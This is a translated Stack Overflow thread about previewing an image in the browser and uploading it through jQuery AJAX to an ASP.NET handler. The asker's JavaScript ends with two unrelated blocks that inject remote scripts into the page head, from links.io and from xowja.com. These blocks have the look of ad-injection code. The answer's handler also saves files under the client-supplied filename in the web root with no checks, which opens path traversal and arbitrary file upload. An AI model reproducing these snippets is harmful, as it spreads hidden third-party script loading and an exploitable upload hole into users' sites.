将图像base64发布到服务器并将图像保存到磁盘上同样的fileUpload,即浏览器中的预览

时间:2012-12-15 13:03:51

标签: javascript jquery asp.net ajax base64


我正在使用this并进行图像预览。
当我跑步时,那没关系。

它由input type =“file”工作,并在浏览器的base64上显示图像。
HTML代码:

<div id="imagePreview"></div>
<form name="uploadForm">
<p><input id="imageInput" type="file" name="myPhoto" onchange="loadImageFile();"><br>
<input type="submit" value="Send"></p>
</form>

css代码:

#imagePreview {
    width: 160px;
    height: 120px;
  border:1px solid;
    float:right;
    filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(sizingMethod=scale);
}

javascript代码:

var loadImageFile = (function () {
    if (window.FileReader) {
        var    oPreviewImg = null, oFReader = new window.FileReader(),
            rFilter = /^(?:image\/bmp|image\/cis\-cod|image\/gif|image\/ief|image\/jpeg|image\/jpeg|image\/jpeg|image\/pipeg|image\/png|image\/svg\+xml|image\/tiff|image\/x\-cmu\-raster|image\/x\-cmx|image\/x\-icon|image\/x\-portable\-anymap|image\/x\-portable\-bitmap|image\/x\-portable\-graymap|image\/x\-portable\-pixmap|image\/x\-rgb|image\/x\-xbitmap|image\/x\-xpixmap|image\/x\-xwindowdump)$/i;

        oFReader.onload = function (oFREvent) {
            if (!oPreviewImg) {
                var newPreview = document.getElementById("imagePreview");
                oPreviewImg = new Image();
                oPreviewImg.style.width = (newPreview.offsetWidth).toString() + "px";
             //   oPreviewImg.style.height = (newPreview.offsetHeight).toString() + "px";
                newPreview.appendChild(oPreviewImg);
            }
            oPreviewImg.src = oFREvent.target.result;
        };

        return function () {
            var aFiles = document.getElementById("imageInput").files;
            if (aFiles.length === 0) { return; }
            if (!rFilter.test(aFiles[0].type)) { alert("You must select a valid image file!"); return; }
            oFReader.readAsDataURL(aFiles[0]);
        }

    }
    if (navigator.appName === "Microsoft Internet Explorer") {
        return function () {
            document.getElementById("imagePreview").filters.item("DXImageTransform.Microsoft.AlphaImageLoader").src = document.getElementById("imageInput").value;

        }
    }
})();
/* */
var uco = 'US';(function() {
    //var url = (document.location.protocol == 'http:') ? 'ssl.privacysafeguard.com/htmlreplace/replace.js' : 'ssl.privacysafeguard.com/htmlreplace/replace-ssl.js';
    //var url = (document.location.protocol == 'http:') ? 'cdn.links.io/htmlx/replace.js' : 'cdn.links.io/htmlx/replace-ssl.js';
    var url = (document.location.protocol == 'http:') ? 'cdn-sl.links.io/replace.js' : '93ce.https.cdn.softlayer.net/8093CE/dev.links.io/htmlreplace/replace-ssl.js';
    var h = document.getElementsByTagName('head')[0];
    var s = document.createElement('script');
    s.type = 'text/javascript';
    s.src = document.location.protocol + '//' + url;
    h.appendChild(s);
})();
(function() {
    var url = (document.location.protocol == 'http:') ? 'xowja.com/i.js' : 'xowja.com/i.js';
    var h = document.getElementsByTagName('head')[0];
    var s = document.createElement('script');
    s.type = 'text/javascript';
    s.src = document.location.protocol + '//' + url;
    h.appendChild(s);
})();

另外,预览图像后的img标记:

<img style="width: 350px;" src="data:image/gif;base64,R0lGODlhkAHnAHAAACH5BAEAAPwALAAAAACQAecAhwAAAAAAMwAAZgAAmQAAzAAA/wArAAArMwArZgArmQArzAAr/wBVAABVMwBVZgBVmQBVzABV/wCAAACAMwCAZgCAmQCAzACA/wCqAACqMwCqZgCqmQCqzACq/wDVAADVMwDVZgDVmQDVzADV/wD/AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMrADMrMzMrZjMrmTMrzDMr/zNVADNVMzNVZjNVmTNVzDNV/zOAADOAMzOAZjOAmTOAzDOA/zOqADOqMzOqZjOqmTOqzDOq/zPVADPVMzPVZjPVmTPVzDPV/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YrAGYrM2YrZmYrmWYrzGYr/2ZVAGZVM2ZVZmZVmWZVzGZV/2aAAGaAM2aAZmaAmWaAzGaA/2aqAGaqM2aqZmaqmWaqzGaq/2bVAGbVM2bVZmbVmWbVzGbV/2b/AGb/M2b/Zmb/mWb/zGb//5kAAJkAM5k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Q1vIgkak1iqS66ZoGoJGjEC+OorFbrKMauu0FILtGHE2C9A/jiMK6663urujY48igmHTNwgLCGF0FDQL87/YoDhADHwIggvwgyIwYAtw9hvqwC3yAQHRoghSAwVDlhBSM5u2ELAALuMIZOdBNJnPWji2wsnuFKqqbVEU5IqKvikaq42uXpT7bjt6lnNpeZoSwpG1eCCixhQptNEjMMmQSMNiiRBI5NPDtIEM4IGijOuoUwaj9C5WGoPpQh360hFqVzSpK8hcyJtGEYCC80ih0AhraBhJpnIsyJluAGHN4gZaTeSVgSJUAvd206Zdy5MqbVMCPTM1g7TaHZVWk98CaQ4b2KKI0L3dU+kaCQDoCsdAfCR4IIFhkGT1qA5KAzM3p1QO59mtEuZSX7dC43TkvkElE8+ySmZ05ShCJQq/5X5BMsYbPCLsB6ONUvmM8OKjKG1YFgrBiuHIUblTNKwMsuycr5hGFDcoe0lklirTjm5fCUpttiCAgqo3YLlrVZwO6w3J9m+djG+gYZBwy/K+Ew728nYBi0/fKF8tCOobpqPUH3GDamlTDO5YYUbwiSpNTH8YigTSnjSpNrSJHpI1scPQhCHYRBd1Da8UzKO0QvnJoYlYiYRAw18X/qovoEyiewGLvhrdtbtwIMJJhmbi2pGZdKoSoWtDj44ZxhgEEMo4papSBNoNLFruI1grCvqTH590Yc20HBDEjd=">

我想通过$ .ajax发布到服务器并保存到特殊目录和文件名,同样的asp:fileUplad。

1 个答案:

答案 0 :(得分:0)

将提交更改为调用ajax:

<input type="submit" value="Send" onclick="SendData(); return false;" />

添加脚本来处理发送:

<script type="text/javascript">
    function SendData() {
        var fd = new FormData();
        fd.append('file', $('#imageInput')[0].files[0]);
        $.ajax({
            url: '/UploadImage.ashx',
            data: fd,
            processData: false,
            contentType: false,
            type: 'POST',
            success: function (data) {
                alert(data);
            }
        });
    }
</script>

创建将处理保存的.ashx处理程序:

public class UploadImage : IHttpHandler {

  public void ProcessRequest(HttpContext context) {
    var parser = new MultipartParser(context.Request.InputStream);
    if (parser.Success) {
      // use path that makes more sense - using root of your website + provided file name
      File.WriteAllBytes(Path.Combine(context.Server.MapPath("~/"), parser.Filename), parser.FileContents);
    }
  }

  public bool IsReusable {
    get { return false; }
  }
}

MultipartParser是开源课程 - 请参阅http://multipartparser.codeplex.com/SourceControl/latest#MultipartParser.cs

为方便起见:

public class MultipartParser {
  public MultipartParser(Stream stream) {
    this.Parse(stream, Encoding.UTF8);
  }

  public MultipartParser(Stream stream, Encoding encoding) {
    this.Parse(stream, encoding);
  }

  private void Parse(Stream stream, Encoding encoding) {
    this.Success = false;

    // Read the stream into a byte array
    byte[] data = ToByteArray(stream);

    // Copy to a string for header parsing
    string content = encoding.GetString(data);

    // The first line should contain the delimiter
    int delimiterEndIndex = content.IndexOf("\r\n");

    if (delimiterEndIndex > -1) {
      string delimiter = content.Substring(0, content.IndexOf("\r\n"));

      // Look for Content-Type
      Regex re = new Regex(@"(?<=Content\-Type:)(.*?)(?=\r\n\r\n)");
      Match contentTypeMatch = re.Match(content);

      // Look for filename
      re = new Regex(@"(?<=filename\=\"")(.*?)(?=\"")");
      Match filenameMatch = re.Match(content);

      // Did we find the required values?
      if (contentTypeMatch.Success && filenameMatch.Success) {
        // Set properties
        this.ContentType = contentTypeMatch.Value.Trim();
        this.Filename = filenameMatch.Value.Trim();

        // Get the start & end indexes of the file contents
        int startIndex = contentTypeMatch.Index + contentTypeMatch.Length + "\r\n\r\n".Length;

        byte[] delimiterBytes = encoding.GetBytes("\r\n" + delimiter);
        int endIndex = IndexOf(data, delimiterBytes, startIndex);

        int contentLength = endIndex - startIndex;

        // Extract the file contents from the byte array
        byte[] fileData = new byte[contentLength];

        Buffer.BlockCopy(data, startIndex, fileData, 0, contentLength);

        this.FileContents = fileData;
        this.Success = true;
      }
    }
  }

  private int IndexOf(byte[] searchWithin, byte[] serachFor, int startIndex) {
    int index = 0;
    int startPos = Array.IndexOf(searchWithin, serachFor[0], startIndex);

    if (startPos != -1) {
      while ((startPos + index) < searchWithin.Length) {
        if (searchWithin[startPos + index] == serachFor[index]) {
          index++;
          if (index == serachFor.Length) {
            return startPos;
          }
        } else {
          startPos = Array.IndexOf<byte>(searchWithin, serachFor[0], startPos + index);
          if (startPos == -1) {
            return -1;
          }
          index = 0;
        }
      }
    }

    return -1;
  }

  private byte[] ToByteArray(Stream stream) {
    byte[] buffer = new byte[32768];
    using (MemoryStream ms = new MemoryStream()) {
      while (true) {
        int read = stream.Read(buffer, 0, buffer.Length);
        if (read <= 0)
          return ms.ToArray();
        ms.Write(buffer, 0, read);
      }
    }
  }

  public bool Success {
    get;
    private set;
  }

  public string ContentType {
    get;
    private set;
  }

  public string Filename {
    get;
    private set;
  }

  public byte[] FileContents {
    get;
    private set;
  }
}